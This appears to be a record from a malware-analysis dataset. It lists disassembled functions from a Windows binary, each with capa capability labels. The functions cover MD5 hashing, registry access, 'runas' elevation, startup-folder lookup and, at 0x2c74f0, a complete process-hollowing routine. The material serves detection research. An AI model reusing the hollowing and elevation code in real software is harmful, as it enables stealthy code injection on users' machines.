joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2c4ec0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x324014]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], 0x67452301
push 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call fcn.002d8820
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push 0x10
push eax
push esi
call fcn.002f4e80
lea eax, [esp + 0x1c]
add esp, 0xc
lea ebx, [esi + 0x10]
cmp edi, eax
je 0x2c4f8b
mov eax, dword [edi]
test eax, eax
je 0x2c4f6d
mov ecx, dword [edi + 8]
sub ecx, eax
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x2c4f63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c4fce
mov eax, edx
push ecx
push eax
call fcn.002de298
add esp, 8
mov eax, dword [esp + 0x18]
mov dword [edi], esi
mov dword [edi + 4], ebx
mov dword [edi + 8], eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x2c4fbc
mov ecx, dword [esp + 0x18]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x2c4fb2
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c4fce
push ecx
push esi
call fcn.002de298
add esp, 8
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3
Function at 0x2c6010
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a430
mov eax, dword fs:[0]
push eax
sub esp, 0x40c
mov eax, dword [0x324014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x414], esi
mov dword [ebp - 0x414], esi
push 0x400
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.002f4d20
add esp, 0xc
mov dword [ebp - 0x414], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x418]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push 0x80000002
call dword [0x311020]
test eax, eax
jne 0x2c60c1
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0x410]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x418]
call dword [0x311008]
push dword [ebp - 0x418]
call dword [section..rdata]
lea ecx, [ebp - 0x410]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [esi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2c60e7
sub ecx, edx
lea eax, [ebp - 0x410]
push ecx
push eax
mov ecx, esi
call fcn.002d8cf0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x2c612f
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c6125
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c618d
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x2c6171
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c6167
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c618d
push edx
push ecx
call fcn.002de298
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3
Function at 0x2c61a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x324014]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 8]
push ecx
push 0xf003f
lea eax, [ebp + 8]
mov dword [ebp - 8], 0x80000001
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0x80000001
call dword [0x311020]
test eax, eax
jne 0x2c6207
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
mov eax, dword [ebp + 0x48]
lea ecx, [ebp + 0x20]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x34], 0x10
cmovae ecx, dword [ebp + 0x20]
inc eax
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 8]
call dword [0x31101c]
push dword [ebp - 8]
call dword [section..rdata]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x2c6244
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c623a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c62d6
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x2c6286
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c627c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c62d6
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x2c62c8
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c62be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c62d6
push edx
push ecx
call fcn.002de298
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3
Function at 0x2c74f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x324014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call dword [0x3110c0]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x2c76d9
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x2c76d9
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.002f4d20
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call dword [0x311068]
test eax, eax
je 0x2c76d9
push 4
push 0x1000
push 4
push 0
call dword [0x3110b0]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [0x311054]
test eax, eax
je 0x2c76d9
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x319da4
push dword [esp + 0x30]
call dword [0x3110c4]
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x2c75fc
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [0x311098]
push eax
call dword [0x311058]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call dword [0x31105c]
mov dword [esp + 0x14], eax
test eax, eax
je 0x2c76d9
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call dword [0x3110bc]
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x2c7693
mov dword [esp + 0xc], eax
call fcn.002c7340
push eax
call dword [0x311094]
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call dword [0x3110bc]
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x2c7642
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [0x3110bc]
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [0x311070]
push dword [esp + 0x24]
call dword [0x3110a0]
push 0x8000
push 0
push esi
call dword [0x3110b8]
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
Function at 0x2c7700
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a608
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x324014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 2
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov edx, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push 1
push 0x319d7c
call fcn.002da0a0
add esp, 8
xor edx, edx
test al, al
mov ecx, 5
cmove ecx, edx
mov edx, str.runas
push ecx
mov ecx, 0x31919b
cmovne ecx, edx
push ecx
lea ecx, [ebp + 8]
call fcn.002d8cf0
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [0x31126c]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x328494], esi
cmp edx, 0x10
jb 0x2c77d6
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c77cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c786c
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x2c7818
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c780e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c786c
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x2c785a
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c7850
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c786c
push edx
push ecx
call fcn.002de298
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3
Function at 0x2c79e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a608
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x324014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 2
mov esi, dword [0x311094]
push 0x64
mov dword [0x328380], 0
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x328578]
cmp eax, dword [ecx + 4]
jle 0x2c7ab1
push 0x328578
call fcn.002ddd46
add esp, 4
cmp dword [0x328578], 0xffffffff
jne 0x2c7ab1
push 0x3107a0
mov dword [0x328540], 0
mov dword [0x328544], 0xf
mov byte [0x328530], 0
mov dword [0x328558], 0
mov dword [0x32855c], 0xf
mov byte [0x328548], 0
mov dword [0x328570], 0
mov dword [0x328574], 0xf
mov byte [0x328560], 0
call fcn.002de283
push 0x328578
call fcn.002ddcfc
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x328530
push eax
call fcn.002d8cf0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
mov ecx, 0x328548
push eax
call fcn.002d8cf0
cmp dword [ebp + 0x4c], 0x10
lea eax, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae eax, dword [ebp + 0x38]
mov ecx, 0x328560
push eax
call fcn.002d8cf0
push 0
push 0
push 0x328530
push 0x2c7880
push 0
push 0
call dword [0x31104c]
push 0x1f4
call esi
mov edx, dword [ebp + 0x1c]
mov esi, dword [0x328380]
cmp edx, 0x10
jb 0x2c7b55
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c7b4b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c7beb
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x2c7b97
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c7b8d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c7beb
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x2c7bd9
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c7bcf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c7beb
push edx
push ecx
call fcn.002de298
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3
Function at 0x2c7f30
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a760
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x324014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea edx, [ebp + 8]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.002c71c0
cmp dword [eax + 0x14], 0x10
jb 0x2c7f73
mov eax, dword [eax]
push eax
call dword [0x31109c]
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x2c7fae
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c7fa4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c8168
push edx
push ecx
call fcn.002de298
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x34], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x3249c8
call fcn.002d84d0
lea ecx, [ebp - 0x64]
call fcn.002c5ec0
add esp, 0x18
push eax
lea eax, [ebp + 8]
mov byte [ebp - 4], 1
push eax
sub esp, 0x18
mov ecx, esp
push 0x324d40
call fcn.002d84d0
lea ecx, [ebp - 0x30]
call fcn.002c5ec0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.002d8f50
add esp, 4
mov edx, eax
mov byte [ebp - 4], 3
mov ecx, esi
call fcn.002d8e50
sub esp, 0x14
mov byte [ebp - 4], 4
mov dword [ebp - 0x14], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x325028
call fcn.002d84d0
mov ecx, esi
call fcn.002c5ec0
mov ecx, esp
mov byte [ebp - 4], 5
push 1
push str.0123456789
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.002d8cf0
mov byte [ebp - 4], 3
call fcn.002c7700
mov edx, dword [ebp - 0x38]
add esp, 0x48
cmp edx, 0x10
jb 0x2c8096
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c808c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c816d
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp edx, 0x10
jb 0x2c80dc
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c80d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c816d
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp edx, 0x10
jb 0x2c811e
mov ecx, dword [ebp - 0x64]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c8114
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c816d
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x2c814e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c8144
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c8172
push edx
push ecx
call fcn.002de298
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
call fcn.002f789a
call fcn.002f789a
call fcn.002f789a
int3
Function at 0x2c8720
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a81b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x17c
mov eax, dword [0x324014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x118
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x154]
push 0
push eax
movups xmmword [ebp - 0x38], xmm0
movups xmmword [ebp - 0x28], xmm0
call fcn.002f4d20
add esp, 0xc
mov dword [ebp - 0x158], 0x11c
lea eax, [ebp - 0x158]
push eax
call dword [0x3110a8]
test eax, eax
jne 0x2c87ad
mov eax, 0x64
jmp 0x2c88ef
sub esp, 0x18
mov ecx, esp
push 0x325448
call fcn.002d84d0
lea ecx, [ebp - 0x18c]
call fcn.002c5ec0
add esp, 0x18
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
jb 0x2c87d9
mov eax, dword [eax]
push eax
sub esp, 0x18
mov ecx, esp
push 0x324e00
call fcn.002d84d0
lea ecx, [ebp - 0x174]
call fcn.002c5ec0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x2c87ff
mov eax, dword [eax]
push eax
call dword [0x311098]
push eax
call dword [0x311058]
mov edx, dword [ebp - 0x160]
mov esi, eax
cmp edx, 0x10
jb 0x2c8849
mov ecx, dword [ebp - 0x174]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c883f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c890c
push edx
push ecx
call fcn.002de298
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
cmp edx, 0x10
jb 0x2c88a1
mov ecx, dword [ebp - 0x18c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c8897
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c890c
push edx
push ecx
call fcn.002de298
add esp, 8
mov dword [ebp - 0x17c], 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
push eax
test esi, esi
je 0x2c88c8
call esi
jmp 0x2c88ce
call dword [0x311048]
cmp dword [ebp - 0x154], 6
jb 0x2c88ef
mov ax, word [ebp - 0x38]
cmp ax, 9
jne 0x2c88e8
mov eax, 1
jmp 0x2c88ef
test ax, ax
jne 0x2c88ef
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.002ddc21
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.002f789a
int3

Function at 0x2c8b50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x2c8b58
mov ecx, dword [ecx]
push ecx
call dword [0x311088]
cmp eax, 0xffffffff
je 0x2c8b6b
test al, 0x10
je 0x2c8b6b
mov al, 1
ret
xor al, al
ret
Function at 0x2c8ed0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a911
mov eax, dword fs:[0]
push eax
sub esp, 0x158
mov eax, dword [0x324014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0x104
call dword [0x311090]
sub esp, 0x18
mov ecx, esp
push 0x324d70
call fcn.002d84d0
lea ecx, [ebp - 0x164]
call fcn.002c5ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x13c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2c8f67
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x14c]
call fcn.002d8cf0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x14c]
mov ecx, 3
mov dword [ebp - 0x124], 0
cmp dword [ebp - 0x13c], ecx
mov dword [ebp - 0x120], 0xf
cmovb ecx, dword [ebp - 0x13c]
cmp dword [ebp - 0x138], 0x10
push ecx
cmovae eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x134]
push eax
mov byte [ebp - 0x134], 0
call fcn.002d8cf0
push edi
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 2
mov ecx, esi
call fcn.002d8e50
mov edx, dword [ebp - 0x120]
add esp, 4
cmp edx, 0x10
jb 0x2c9024
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c901a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c90c8
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp edx, 0x10
jb 0x2c9075
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c906b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c90c8
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp - 0x150]
cmp edx, 0x10
jb 0x2c90ab
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c90a1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c90c8
push edx
push ecx
call fcn.002de298
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3
Function at 0x2c90d0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x30a956
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x324014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x118], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push eax
push 0
push 0
push 0x1a
push 0
call dword [0x311268]
sub esp, 0x18
mov ecx, esp
push 0x3252e0
call fcn.002d84d0
lea ecx, [ebp - 0x148]
call fcn.002c5ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x120], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x2c9170
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.002d8cf0
push edi
lea edx, [ebp - 0x130]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.002d8e50
mov edx, dword [ebp - 0x11c]
add esp, 4
cmp edx, 0x10
jb 0x2c91d7
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c91cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c9245
push edx
push ecx
call fcn.002de298
add esp, 8
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x2c9228
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x2c921e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x2c9245
push edx
push ecx
call fcn.002de298
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.002ddc21
mov esp, ebp
pop ebp
ret
call fcn.002f789a
int3